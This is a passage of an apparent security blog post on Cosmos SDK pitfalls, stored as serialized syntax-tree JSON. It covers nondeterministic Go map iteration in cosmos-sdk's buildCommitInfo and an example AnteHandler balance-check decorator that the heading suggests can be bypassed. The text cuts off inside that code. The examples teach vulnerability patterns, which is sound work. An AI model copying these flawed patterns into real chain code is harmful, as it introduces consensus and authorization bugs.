[78761],{"type":32,"value":78360},{"type":26,"tag":217,"props":78763,"children":78764},{"style":7048},[78765],{"type":32,"value":78766},"]),\n",{"type":26,"tag":217,"props":78768,"children":78769},{"class":7028,"line":7672},[78770],{"type":26,"tag":217,"props":78771,"children":78772},{"style":7048},[78773],{"type":32,"value":78380},{"type":26,"tag":217,"props":78775,"children":78776},{"class":7028,"line":7681},[78777],{"type":26,"tag":217,"props":78778,"children":78779},{"style":7048},[78780],{"type":32,"value":78388},{"type":26,"tag":217,"props":78782,"children":78783},{"class":7028,"line":7754},[78784],{"type":26,"tag":217,"props":78785,"children":78786},{"style":7048},[78787],{"type":32,"value":9754},{"type":26,"tag":217,"props":78789,"children":78790},{"class":7028,"line":7784},[78791],{"type":26,"tag":217,"props":78792,"children":78793},{"style":7048},[78794],{"type":32,"value":7184},{"type":26,"tag":39,"props":78796,"children":78797},{},[78798],{"type":32,"value":78799},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":26,"tag":607,"props":78801,"children":78803},{"id":78802},"real-world-examples-1",[78804],{"type":32,"value":77538},{"type":26,"tag":39,"props":78806,"children":78807},{},[78808,78810,78815,78817,78823,78825,78831,78833,78839],{"type":32,"value":78809},"Real-world examples of ",{"type":26,"tag":83,"props":78811,"children":78813},{"className":78812},[],[78814],{"type":32,"value":78426},{"type":32,"value":78816}," causing determinism problems can be found ",{"type":26,"tag":163,"props":78818,"children":78821},{"href":78819,"rel":78820},"https://github.com/cosmos/cosmos-sdk/pull/12487",[167],[78822],{"type":32,"value":8807},{"type":32,"value":78824},", specifically, where the result of ",{"type":26,"tag":83,"props":78826,"children":78828},{"className":78827},[],[78829],{"type":32,"value":78830},"buildCommitInfo",{"type":32,"value":78832}," is inconsistent due to iteration over the ",{"type":26,"tag":83,"props":78834,"children":78836},{"className":78835},[],[78837],{"type":32,"value":78838},"rs.stores",{"type":32,"value":78840}," map.",{"type":26,"tag":39,"props":78842,"children":78843},{},[78844],{"type":26,"tag":163,"props":78845,"children":78848},{"href":78846,"rel":78847},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[167],[78849],{"type":32,"value":77588},{"type":26,"tag":207,"props":78851,"children":78853},{"code":78852,"language":77016,"meta":8,"className":77017,"style":8},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[78854],{"type":26,"tag":83,"props":78855,"children":78856},{"__ignoreMap":8},[78857,78894,78907,78936,78970,79016,79063,79071,79078,79123,79154,79183,79191,79198,79225,79247,79267,79274],{"type":26,"tag":217,"props":78858,"children":78859},{"class":7028,"line":7029},[78860,78864,78868,78873,78877,78882,78886,78890],{"type":26,"tag":217,"props":78861,"children":78862},{"style":7154},[78863],{"type":32,"value":26409},{"type":26,"tag":217,"props":78865,"children":78866},{"style":7048},[78867],{"type":32,"value":7051},{"type":26,"tag":217,"props":78869,"children":78870},{"style":7054},[78871],{"type":32,"value":78872},"rs ",{"type":26,"tag":217,"props":78874,"children":78875},{"style":7149},[78876],{"type":32,"value":10006},{"type":26,"tag":217,"props":78878,"children":78879},{"style":7119},[78880],{"type":32,"value":78881},"Store",{"type":26,"tag":217,"props":78883,"children":78884},{"style":7048},[78885],{"type":32,"value":8380},{"type":26,"tag":217,"props":78887,"children":78888},{"style":7064},[78889],{"type":32,"value":78830},{"type":26,"tag":217,"props":78891,"children":78892},{"style":7048},[78893],{"type":32,"value":10932},{"type":26,"tag":217,"props":78895,"children":78896},{"class":7028,"line":6770},[78897,78902],{"type":26,"tag":217,"props":78898,"children":78899},{"style":7054},[78900],{"type":32,"value":78901},"    version",{"type":26,"tag":217,"props":78903,"children":78904},{"style":7119},[78905],{"type":32,"value":78906}," int64\n",{"type":26,"tag":217,"props":78908,"children":78909},{"class":7028,"line":6779},[78910,78914,78918,78923,78927,78932],{"type":26,"tag":217,"props":78911,"children":78912},{"style":7048},[78913],{"type":32,"value":8380},{"type":26,"tag":217,"props":78915,"children":78916},{"style":7149},[78917],{"type":32,"value":10006},{"type":26,"tag":217,"props":78919,"children":78920},{"style":7119},[78921],{"type":32,"value":78922},"types",{"type":26,"tag":217,"props":78924,"children":78925},{"style":7048},[78926],{"type":32,"value":180},{"type":26,"tag":217,"props":78928,"children":78929},{"style":7119},[78930],{"type":32,"value":78931},"CommitInfo",{"type":26,"tag":217,"props":78933,"children":78934},{"style":7048},[78935],{"type":32,"value":8064},{"type":26,"tag":217,"props":78937,"children":78938},{"class":7028,"line":7140},[78939,78944,78948,78952,78956,78960,78965],{"type":26,"tag":217,"props":78940,"children":78941},{"style":7054},[78942],{"type":32,"value":78943},"    storeInfos",{"type":26,"tag":217,"props":78945,"children":78946},{"style":7149},[78947],{"type":32,"value":77267},{"type":26,"tag":217,"props":78949,"children":78950},{"style":7048},[78951],{"type":32,"value":77080},{"type":26,"tag":217,"props":78953,"children":78954},{"style":7119},[78955],{"type":32,"value":78922},{"type":26,"tag":217,"props":78957,"children":78958},{"style":7048},[78959],{"type":32,"value":180},{"type":26,"tag":217,"props":78961,"children":78962},{"style":7119},[78963],{"type":32,"value":78964},"StoreInfo",{"type":26,"tag":217,"props":78966,"children":78967},{"style":7048},[78968],{"type":32,"value":78969},"{}\n",{"type":26,"tag":217,"props":78971,"children":78972},{"class":7028,"line":7165},[78973,78977,78981,78985,78990,78994,78998,79003,79007,79012],{"type":26,"tag":217,"props":78974,"children":78975},{"style":7042},[78976],{"type":32,"value":12461},{"type":26,"tag":217,"props":78978,"children":78979},{"style":7054},[78980],{"type":32,"value":78245},{"type":26,"tag":217,"props":78982,"children":78983},{"style":7048},[78984],{"type":32,"value":7599},{"type":26,"tag":217,"props":78986,"children":78987},{"style":7054},[78988],{"type":32,"value":78989},"store",{"type":26,"tag":217,"props":78991,"children":78992},{"style":7149},[78993],{"type":32,"value":77267},{"type":26,"tag":217,"props":78995,"children":78996},{"style":7042},[78997],{"type":32,"value":78262},{"type":26,"tag":217,"props":78999,"children":79000},{"style":7054},[79001],{"type":32,"value":79002}," rs",{"type":26,"tag":217,"props":79004,"children":79005},{"style":7048},[79006],{"type":32,"value":180},{"type":26,"tag":217,"props":79008,"children":79009},{"style":7054},[79010],{"type":32,"value":79011},"stores",{"type":26,"tag":217,"props":79013,"children":79014},{"style":7048},[79015],{"type":32,"value":8064},{"type":26,"tag":217,"props":79017,"children":79018},{"class":7028,"line":7178},[79019,79023,79028,79032,79037,79041,79045,79050,79054,79059],{"type":26,"tag":217,"props":79020,"children":79021},{"style":7042},[79022],{"type":32,"value":12497},{"type":26,"tag":217,"props":79024,"children":79025},{"style":7054},[79026],{"type":32,"value":79027}," store",{"type":26,"tag":217,"props":79029,"children":79030},{"style":7048},[79031],{"type":32,"value":180},{"type":26,"tag":217,"props":79033,"children":79034},{"style":7064},[79035],{"type":32,"value":79036},"GetStoreType",{"type":26,"tag":217,"props":79038,"children":79039},{"style":7048},[79040],{"type":32,"value":61808},{"type":26,"tag":217,"props":79042,"children":79043},{"style":7149},[79044],{"type":32,"value":9106},{"type":26,"tag":217,"props":79046,"children":79047},{"style":7054},[79048],{"type":32,"value":79049}," types",{"type":26,"tag":217,"props":79051,"children":79052},{"style":7048},[79053],{"type":32,"value":180},{"type":26,"tag":217,"props":79055,"children":79056},{"style":7054},[79057],{"type":32,"value":79058},"StoreTypeTransient",{"type":26,"tag":217,"props":79060,"children":79061},{"style":7048},[79062],{"type":32,"value":8064},{"type":26,"tag":217,"props":79064,"children":79065},{"class":7028,"line":7389},[79066],{"type":26,"tag":217,"props":79067,"children":79068},{"style":7042},[79069],{"type":32,"value":79070},"            continue\n",{"type":26,"tag":217,"props":79072,"children":79073},{"class":7028,"line":7406},[79074],{"type":26,"tag":217,"props":79075,"children":79076},{"style":7048},[79077],{"type":32,"value":8722},{"type":26,"tag":217,"props":79079,"children":79080},{"class":7028,"line":7439},[79081,79086,79090,79094,79098,79103,79107,79111,79115,79119],{"type":26,"tag":217,"props":79082,"children":79083},{"style":7054},[79084],{"type":32,"value":79085},"        storeInfos",{"type":26,"tag":217,"props":79087,"children":79088},{"style":7149},[79089],{"type":32,"value":8993},{"type":26,"tag":217,"props":79091,"children":79092},{"style":7064},[79093],{"type":32,"value":78565},{"type":26,"tag":217,"props":79095,"children":79096},{"style":7048},[79097],{"type":32,"value":1851},{"type":26,"tag":217,"props":79099,"children":79100},{"style":7054},[79101],{"type":32,"value":79102},"storeInfos",{"type":26,"tag":217,"props":79104,"children":79105},{"style":7048},[79106],{"type":32,"value":7599},{"type":26,"tag":217,"props":79108,"children":79109},{"style":7119},[79110],{"type":32,"value":78922},{"type":26,"tag":217,"props":79112,"children":79113},{"style":7048},[79114],{"type":32,"value":180},{"type":26,"tag":217,"props":79116,"children":79117},{"style":7119},[79118],{"type":32,"value":78964},{"type":26,"tag":217,"props":79120,"children":79121},{"style":7048},[79122],{"type":32,"value":10033},{"type":26,"tag":217,"props":79124,"children":79125},{"class":7028,"line":7487},[79126,79131,79136,79140,79144,79149],{"type":26,"tag":217,"props":79127,"children":79128},{"style":7054},[79129],{"type":32,"value":79130},"            Name",{"type":26,"tag":217,"props":79132,"children":79133},{"style":7048},[79134],{"type":32,"value":79135},":     ",{"type":26,"tag":217,"props":79137,"children":79138},{"style":7054},[79139],{"type":32,"value":78360},{"type":26,"tag":217,"props":79141,"children":79142},{"style":7048},[79143],{"type":32,"value":180},{"type":26,"tag":217,"props":79145,"children":79146},{"style":7064},[79147],{"type":32,"value":79148},"Name",{"type":26,"tag":217,"props":79150,"children":79151},{"style":7048},[79152],{"type":32,"value":79153},"(),\n",{"type":26,"tag":217,"props":79155,"children":79156},{"class":7028,"line":7524},[79157,79162,79166,79170,79174,79179],{"type":26,"tag":217,"props":79158,"children":79159},{"style":7054},[79160],{"type":32,"value":79161},"            CommitId",{"type":26,"tag":217,"props":79163,"children":79164},{"style":7048},[79165],{"type":32,"value":14785},{"type":26,"tag":217,"props":79167,"children":79168},{"style":7054},[79169],{"type":32,"value":78989},{"type":26,"tag":217,"props":79171,"children":79172},{"style":7048},[79173],{"type":32,"value":180},{"type":26,"tag":217,"props":79175,"children":79176},{"style":7064},[79177],{"type":32,"value":79178},"LastCommitID",{"type":26,"tag":217,"props":79180,"children":79181},{"style":7048},[79182],{"type":32,"value":79153},{"type":26,"tag":217,"props":79184,"children":79185},{"class":7028,"line":7553},[79186],{"type":26,"tag":217,"props":79187,"children":79188},{"style":7048},[79189],{"type":32,"value":79190},"        })\n",{"type":26,"tag":217,"props":79192,"children":79193},{"class":7028,"line":7570},[79194],{"type":26,"tag":217,"props":79195,"children":79196},{"style":7048},[79197],{"type":32,"value":9754},{"type":26,"tag":217,"props":79199,"children":79200},{"class":7028,"line":7621},[79201,79205,79209,79213,79217,79221],{"type":26,"tag":217,"props":79202,"children":79203},{"style":7042},[79204],{"type":32,"value":7171},{"type":26,"tag":217,"props":79206,"children":79207},{"style":7149},[79208],{"type":32,"value":10222},{"type":26,"tag":217,"props":79210,"children":79211},{"style":7119},[79212],{"type":32,"value":78922},{"type":26,"tag":217,"props":79214,"children":79215},{"style":7048},[79216],{"type":32,"value":180},{"type":26,"tag":217,"props":79218,"children":79219},{"style":7119},[79220],{"type":32,"value":78931},{"type":26,"tag":217,"props":79222,"children":79223},{"style":7048},[79224],{"type":32,"value":10033},{"type":26,"tag":217,"props":79226,"children":79227},{"class":7028,"line":7672},[79228,79233,79238,79243],{"type":26,"tag":217,"props":79229,"children":79230},{"style":7054},[79231],{"type":32,"value":79232},"        Version",{"type":26,"tag":217,"props":79234,"children":79235},{"style":7048},[79236],{"type":32,"value":79237},":    ",{"type":26,"tag":217,"props":79239,"children":79240},{"style":7054},[79241],{"type":32,"value":79242},"version",{"type":26,"tag":217,"props":79244,"children":79245},{"style":7048},[79246],{"type":32,"value":10953},{"type":26,"tag":217,"props":79248,"children":79249},{"class":7028,"line":7681},[79250,79255,79259,79263],{"type":26,"tag":217,"props":79251,"children":79252},{"style":7054},[79253],{"type":32,"value":79254},"        StoreInfos",{"type":26,"tag":217,"props":79256,"children":79257},{"style":7048},[79258],{"type":32,"value":14785},{"type":26,"tag":217,"props":79260,"children":79261},{"style":7054},[79262],{"type":32,"value":79102},{"type":26,"tag":217,"props":79264,"children":79265},{"style":7048},[79266],{"type":32,"value":10953},{"type":26,"tag":217,"props":79268,"children":79269},{"class":7028,"line":7754},[79270],{"type":26,"tag":217,"props":79271,"children":79272},{"style":7048},[79273],{"type":32,"value":9754},{"type":26,"tag":217,"props":79275,"children":79276},{"class":7028,"line":7784},[79277],{"type":26,"tag":217,"props":79278,"children":79279},{"style":7048},[79280],{"type":32,"value":7184},{"type":26,"tag":39,"props":79282,"children":79283},{},[79284,79286,79293,79294,79301],{"type":32,"value":79285},"Other factors contributing to determinism issues are the usage of ",{"type":26,"tag":163,"props":79287,"children":79290},{"href":79288,"rel":79289},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[167],[79291],{"type":32,"value":79292},"time-sensitive functions",{"type":32,"value":1308},{"type":26,"tag":163,"props":79295,"children":79298},{"href":79296,"rel":79297},"https://github.com/cosmos/cosmos-sdk/issues/16638",[167],[79299],{"type":32,"value":79300},"race conditions",{"type":32,"value":180},{"type":26,"tag":27,"props":79303,"children":79305},{"id":79304},"thou-shalt-not-passor-should-you",[79306],{"type":32,"value":79307},"Thou Shalt Not Pass...Or Should You?",{"type":26,"tag":39,"props":79309,"children":79310},{},[79311,79313,79319,79320,79326],{"type":32,"value":79312},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":26,"tag":83,"props":79314,"children":79316},{"className":79315},[],[79317],{"type":32,"value":79318},"msg.value",{"type":32,"value":7599},{"type":26,"tag":83,"props":79321,"children":79323},{"className":79322},[],[79324],{"type":32,"value":79325},"msg.sender",{"type":32,"value":79327},", and collecting transaction fees) to the underlying blockchain.",{"type":26,"tag":39,"props":79329,"children":79330},{},[79331,79333,79339,79341,79347],{"type":32,"value":79332},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":26,"tag":83,"props":79334,"children":79336},{"className":79335},[],[79337],{"type":32,"value":79338},"Cosmos-SDK",{"type":32,"value":79340}," introduces ",{"type":26,"tag":83,"props":79342,"children":79344},{"className":79343},[],[79345],{"type":32,"value":79346},"AnteHandler",{"type":32,"value":79348}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":26,"tag":39,"props":79350,"children":79351},{},[79352,79354,79359,79361,79366],{"type":32,"value":79353},"To provide context, let's first understand how an ",{"type":26,"tag":83,"props":79355,"children":79357},{"className":79356},[],[79358],{"type":32,"value":79346},{"type":32,"value":79360}," is processed. Each ",{"type":26,"tag":83,"props":79362,"children":79364},{"className":79363},[],[79365],{"type":32,"value":79346},{"type":32,"value":79367}," is a state transition function that can:",{"type":26,"tag":6712,"props":79369,"children":79370},{},[79371,79376],{"type":26,"tag":2044,"props":79372,"children":79373},{},[79374],{"type":32,"value":79375},"Transform the block state in relation to transaction and execution context.",{"type":26,"tag":2044,"props":79377,"children":79378},{},[79379,79381],{"type":32,"value":79380},"Determine the course of action for the transaction.\n",{"type":26,"tag":6712,"props":79382,"children":79383},{},[79384,79395],{"type":26,"tag":2044,"props":79385,"children":79386},{},[79387,79389,79394],{"type":32,"value":79388},"Pass the transaction to the next ",{"type":26,"tag":83,"props":79390,"children":79392},{"className":79391},[],[79393],{"type":32,"value":79346},{"type":32,"value":180},{"type":26,"tag":2044,"props":79396,"children":79397},{},[79398],{"type":32,"value":79399},"Return error for transaction.",{"type":26,"tag":39,"props":79401,"children":79402},{},[79403,79405,79410],{"type":32,"value":79404},"The bad news is that developing an ",{"type":26,"tag":83,"props":79406,"children":79408},{"className":79407},[],[79409],{"type":32,"value":79346},{"type":32,"value":79411}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":26,"tag":39,"props":79413,"children":79414},{},[79415,79416,79422],{"type":32,"value":475},{"type":26,"tag":83,"props":79417,"children":79419},{"className":79418},[],[79420],{"type":32,"value":79421},"AnteHandle",{"type":32,"value":79423}," implementation may look something like this:",{"type":26,"tag":207,"props":79425,"children":79427},{"code":79426,"language":77016,"meta":8,"className":77017,"style":8},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[79428],{"type":26,"tag":83,"props":79429,"children":79430},{"__ignoreMap":8},[79431,79442,79459,79466,79473,79506,79531,79556,79573,79597,79629,79678,79697,79731,79752,79764,79771,79778,79785,79815,79852,79917,79951,79982,79994,80006,80013,80020,80027,80034,80076],{"type":26,"tag":217,"props":79432,"children":79433},{"class":7028,"line":7029},[79434,79438],{"type":26,"tag":217,"props":79435,"children":79436},{"style":7154},[79437],{"type":32,"value":74748},{"type":26,"tag":217,"props":79439,"children":79440},{"style":7048},[79441],{"type":32,"value":67966},{"type":26,"tag":217,"props":79443,"children":79444},{"class":7028,"line":6770},[79445,79450,79454],{"type":26,"tag":217,"props":79446,"children":79447},{"style":7054},[79448],{"type":32,"value":79449},"    MIN_BALANCE",{"type":26,"tag":217,"props":79451,"children":79452},{"style":7149},[79453],{"type":32,"value":8993},{"type":26,"tag":217,"props":79455,"children":79456},{"style":7130},[79457],{"type":32,"value":79458}," 100\n",{"type":26,"tag":217,"props":79460,"children":79461},{"class":7028,"line":6779},[79462],{"type":26,"tag":217,"props":79463,"children":79464},{"style":7048},[79465],{"type":32,"value":10025},{"type":26,"tag":217,"props":79467,"children":79468},{"class":7028,"line":7140},[79469],{"type":26,"tag":217,"props":79470,"children":79471},{"emptyLinePlaceholder":17},[79472],{"type":32,"value":7817},{"type":26,"tag":217,"props":79474,"children":79475},{"class":7028,"line":7165},[79476,79480,79484,79489,79494,79498,79502],{"type":26,"tag":217,"props":79477,"children":79478},{"style":7154},[79479],{"type":32,"value":26409},{"type":26,"tag":217,"props":79481,"children":79482},{"style":7048},[79483],{"type":32,"value":7051},{"type":26,"tag":217,"props":79485,"children":79486},{"style":7054},[79487],{"type":32,"value":79488},"abd ",{"type":26,"tag":217,"props":79490,"children":79491},{"style":7119},[79492],{"type":32,"value":79493},"AccountBalanceDecorator",{"type":26,"tag":217,"props":79495,"children":79496},{"style":7048},[79497],{"type":32,"value":8380},{"type":26,"tag":217,"props":79499,"children":79500},{"style":7064},[79501],{"type":32,"value":79421},{"type":26,"tag":217,"props":79503,"children":79504},{"style":7048},[79505],{"type":32,"value":10932},{"type":26,"tag":217,"props":79507,"children":79508},{"class":7028,"line":7178},[79509,79514,79519,79523,79527],{"type":26,"tag":217,"props":79510,"children":79511},{"style":7054},[79512],{"type":32,"value":79513},"    ctx",{"type":26,"tag":217,"props":79515,"children":79516},{"style":7119},[79517],{"type":32,"value":79518}," sdk",{"type":26,"tag":217,"props":79520,"children":79521},{"style":7048},[79522],{"type":32,"value":180},{"type":26,"tag":217,"props":79524,"children":79525},{"style":7119},[79526],{"type":32,"value":77200},{"type":26,"tag":217,"props":79528,"children":79529},{"style":7048},[79530],{"type":32,"value":10953},{"type":26,"tag":217,"props":79532,"children":79533},{"class":7028,"line":7389},[79534,79539,79543,79547,79552],{"type":26,"tag":217,"props":79535,"children":79536},{"style":7054},[79537],{"type":32,"value":79538},"    tx",{"type":26,"tag":217,"props":79540,"children":79541},{"style":7119},[79542],{"type":32,"value":79518},{"type":26,"tag":217,"props":79544,"children":79545},{"style":7048},[79546],{"type":32,"value":180},{"type":26,"tag":217,"props":79548,"children":79549},{"style":7119},[79550],{"type":32,"value":79551},"Tx",{"type":26,"tag":217,"props":79553,"children":79554},{"style":7048},[79555],{"type":32,"value":10953},{"type":26,"tag":217,"props":79557,"children":79558},{"class":7028,"line":7406},[79559,79564,79569],{"type":26,"tag":217,"props":79560,"children":79561},{"style":7054},[79562],{"type":32,"value":79563},"    simulate",{"type":26,"tag":217,"props":79565,"children":79566},{"style":7119},[79567],{"type":32,"value":79568}," bool",{"type":26,"tag":217,"props":79570,"children":79571},{"style":7048},[79572],{"type":32,"value":10953},{"type":26,"tag":217,"props":79574,"children":79575},{"class":7028,"line":7439},[79576,79581,79585,79589,79593],{"type":26,"tag":217,"props":79577,"children":79578},{"style":7054},[79579],{"type":32,"value":79580},"    next",{"type":26,"tag":217,"props":79582,"children":79583},{"style":7119},[79584],{"type":32,"value":79518},{"type":26,"tag":217,"props":79586,"children":79587},{"style":7048},[79588],{"type":32,"value":180},{"type":26,"tag":217,"props":79590,"children":79591},{"style":7119},[79592],{"type":32,"value":79346},{"type":26,"tag":217,"props":79594,"children":79595},{"style":7048},[79596],{"type":32,"value":10953},{"type":26,"tag":217,"props":79598,"children":79599},{"class":7028,"line":7487},[79600,79604,79609,79613,79617,79621,79625],{"type":26,"tag":217,"props":79601,"children":79602},{"style":7048},[79603],{"type":32,"value":77233},{"type":26,"tag":217,"props":79605,"children":79606},{"style":7119},[79607],{"type":32,"value":79608},"sdk",{"type":26,"tag":217,"props":79610,"children":79611},{"style":7048},[79612],{"type":32,"value":180},{"type":26,"tag":217,"props":79614,"children":79615},{"style":7119},[79616],{"type":32,"value":77200},{"type":26,"tag":217,"props":79618,"children":79619},{"style":7048},[79620],{"type":32,"value":7599},{"type":26,"tag":217,"props":79622,"children":79623},{"style":7119},[79624],{"type":32,"value":7747},{"type":26,"tag":217,"props":79626,"children":79627},{"style":7048},[79628],{"type":32,"value":7618},{"type":26,"tag":217,"props":79630,"children":79631},{"class":7028,"line":7524},[79632,79637,79641,79646,79650,79655,79660,79665,79669,79674],{"type":26,"tag":217,"props":79633,"children":79634},{"style":7054},[79635],{"type":32,"value":79636},"    sigTx",{"type":26,"tag":217,"props":79638,"children":79639},{"style":7048},[79640],{"type":32,"value":7599},{"type":26,"tag":217,"props":79642,"children":79643},{"style":7054},[79644],{"type":32,"value":79645},"ok",{"type":26,"tag":217,"props":79647,"children":79648},{"style":7149},[79649],{"type":32,"value":77267},{"type":26,"tag":217,"props":79651,"children":79652},{"style":7054},[79653],{"type":32,"value":79654}," tx",{"type":26,"tag":217,"props":79656,"children":79657},{"style":7048},[79658],{"type":32,"value":79659},".(",{"type":26,"tag":217,"props":79661,"children":79662},{"style":7119},[79663],{"type":32,"value":79664},"authsigning",{"type":26,"tag":217,"props":79666,"children":79667},{"style":7048},[79668],{"type":32,"value":180},{"type":26,"tag":217,"props":79670,"children":79671},{"style":7119},[79672],{"type":32,"value":79673},"SigVerifiableTx",{"type":26,"tag":217,"props":79675,"children":79676},{"style":7048},[79677],{"type":32,"value":10025},{"type":26,"tag":217,"props":79679,"children":79680},{"class":7028,"line":7553},[79681,79685,79689,79693],{"type":26,"tag":217,"props":79682,"children":79683},{"style":7042},[79684],{"type":32,"value":9710},{"type":26,"tag":217,"props":79686,"children":79687},{"style":7149},[79688],{"type":32,"value":37846},{"type":26,"tag":217,"props":79690,"children":79691},{"style":7054},[79692],{"type":32,"value":79645},{"type":26,"tag":217,"props":79694,"children":79695},{"style":7048},[79696],{"type":32,"value":8064},{"type":26,"tag":217,"props":79698,"children":79699},{"class":7028,"line":7570},[79700,79704,79709,79713,79718,79722,79727],{"type":26,"tag":217,"props":79701,"children":79702},{"style":7042},[79703],{"type":32,"value":9737},{"type":26,"tag":217,"props":79705,"children":79706},{"style":7054},[79707],{"type":32,"value":79708}," ctx",{"type":26,"tag":217,"props":79710,"children":79711},{"style":7048},[79712],{"type":32,"value":7599},{"type":26,"tag":217,"props":79714,"children":79715},{"style":7054},[79716],{"type":32,"value":79717},"errorsmod",{"type":26,"tag":217,"props":79719,"children":79720},{"style":7048},[79721],{"type":32,"value":180},{"type":26,"tag":217,"props":79723,"children":79724},{"style":7064},[79725],{"type":32,"value":79726},"Wrap",{"type":26,"tag":217,"props":79728,"children":79729},{"style":7048},[79730],{"type":32,"value":10932},{"type":26,"tag":217,"props":79732,"children":79733},{"class":7028,"line":7621},[79734,79739,79743,79748],{"type":26,"tag":217,"props":79735,"children":79736},{"style":7054},[79737],{"type":32,"value":79738},"            sdkerrors",{"type":26,"tag":217,"props":79740,"children":79741},{"style":7048},[79742],{"type":32,"value":180},{"type":26,"tag":217,"props":79744,"children":79745},{"style":7054},[79746],{"type":32,"value":79747},"ErrTxDecode",{"type":26,"tag":217,"props":79749,"children":79750},{"style":7048},[79751],{"type":32,"value":10953},{"type":26,"tag":217,"props":79753,"children":79754},{"class":7028,"line":7672},[79755,79760],{"type":26,"tag":217,"props":79756,"children":79757},{"style":7338},[79758],{"type":32,"value":79759},"            \"invalid tx type\"",{"type":26,"tag":217,"props":79761,"children":79762},{"style":7048},[79763],{"type":32,"value":10953},{"type":26,"tag":217,"props":79765,"children":79766},{"class":7028,"line":7681},[79767],{"type":26,"tag":217,"props":79768,"children":79769},{"style":7048},[79770],{"type":32,"value":78388},{"type":26,"tag":217,"props":79772,"children":79773},{"class":7028,"line":7754},[79774],{"type":26,"tag":217,"props":79775,"children":79776},{"style":7048},[79777],{"type":32,"value":9754},{"type":26,"tag":217,"props":79779,"children":79780},{"class":7028,"line":7784},[79781],{"type":26,"tag":217,"props":79782,"children":79783},{"emptyLinePlaceholder":17},[79784],{"type":32,"value":7817},{"type":26,"tag":217,"props":79786,"children":79787},{"class":7028,"line":7802},[79788,79793,79797,79802,79806,79811],{"type":26,"tag":217,"props":79789,"children":79790},{"style":7054},[79791],{"type":32,"value":79792},"    signers",{"type":26,"tag":217,"props":79794,"children":79795},{"style":7149},[79796],{"type":32,"value":77267},{"type":26,"tag":217,"props":79798,"children":79799},{"style":7054},[79800],{"type":32,"value":79801}," sigTx",{"type":26,"tag":217,"props":79803,"children":79804},{"style":7048},[79805],{"type":32,"value":180},{"type":26,"tag":217,"props":79807,"children":79808},{"style":7064},[79809],{"type":32,"value":79810},"GetSigners",{"type":26,"tag":217,"props":79812,"children":79813},{"style":7048},[79814],{"type":32,"value":64888},{"type":26,"tag":217,"props":79816,"children":79817},{"class":7028,"line":7811},[79818,79822,79826,79830,79835,79839,79843,79848],{"type":26,"tag":217,"props":79819,"children":79820},{"style":7042},[79821],{"type":32,"value":12461},{"type":26,"tag":217,"props":79823,"children":79824},{"style":7054},[79825],{"type":32,"value":28971},{"type":26,"tag":217,"props":79827,"children":79828},{"style":7048},[79829],{"type":32,"value":7599},{"type":26,"tag":217,"props":79831,"children":79832},{"style":7054},[79833],{"type":32,"value":79834},"signer",{"type":26,"tag":217,"props":79836,"children":79837},{"style":7149},[79838],{"type":32,"value":77267},{"type":26,"tag":217,"props":79840,"children":79841},{"style":7042},[79842],{"type":32,"value":78262},{"type":26,"tag":217,"props":79844,"children":79845},{"style":7054},[79846],{"type":32,"value":79847}," signers",{"type":26,"tag":217,"props":79849,"children":79850},{"style":7048},[79851],{"type":32,"value":8064},{"type":26,"tag":217,"props":79853,"children":79854},{"class":7028,"line":7820},[79855,79860,79864,79869,79873,79878,79882,79887,79891,79896,79900,79904,79908,79913],{"type":26,"tag":217,"props":79856,"children":79857},{"style":7054},[79858],{"type":32,"value":79859},"        balance",{"type":26,"tag":217,"props":79861,"children":79862},{"style":7149},[79863],{"type":32,"value":77267},{"type":26,"tag":217,"props":79865,"children":79866},{"style":7054},[79867],{"type":32,"value":79868}," abd",{"type":26,"tag":217,"props":79870,"children":79871},{"style":7048},[79872],{"type":32,"value":180},{"type":26,"tag":217,"props":79874,"children":79875},{"style":7054},[79876],{"type":32,"value":79877},"bk",{"type":26,"tag":217,"props":79879,"children":79880},{"style":7048},[79881],{"type":32,"value":180},{"type":26,"tag":217,"props":79883,"children":79884},{"style":7064},[79885],{"type":32,"value":79886},"getBalance",{"type":26,"tag":217,"props":79888,"children":79889},{"style":7048},[79890],{"type":32,"value":1851},{"type":26,"tag":217,"props":79892,"children":79893},{"style":7054},[79894],{"type":32,"value":79895},"ctx",{"type":26,"tag":217,"props":79897,"children":79898},{"style":7048},[79899],{"type":32,"value":7599},{"type":26,"tag":217,"props":79901,"children":79902},{"style":7054},[79903],{"type":32,"value":79834},{"type":26,"tag":217,"props":79905,"children":79906},{"style":7048},[79907],{"type":32,"value":7599},{"type":26,"tag":217,"props":79909,"children":79910},{"style":7054},[79911],{"type":32,"value":79912},"ATOM",{"type":26,"tag":217,"props":79914,"children":79915},{"style":7048},[79916],{"type":32,"value":10025},{"type":26,"tag":217,"props":79918,"children":79919},{"class":7028,"line":7844},[79920,79924,79929,79933,79938,79942,79947],{"type":26,"tag":217,"props":79921,"children":79922},{"style":7042},[79923],{"t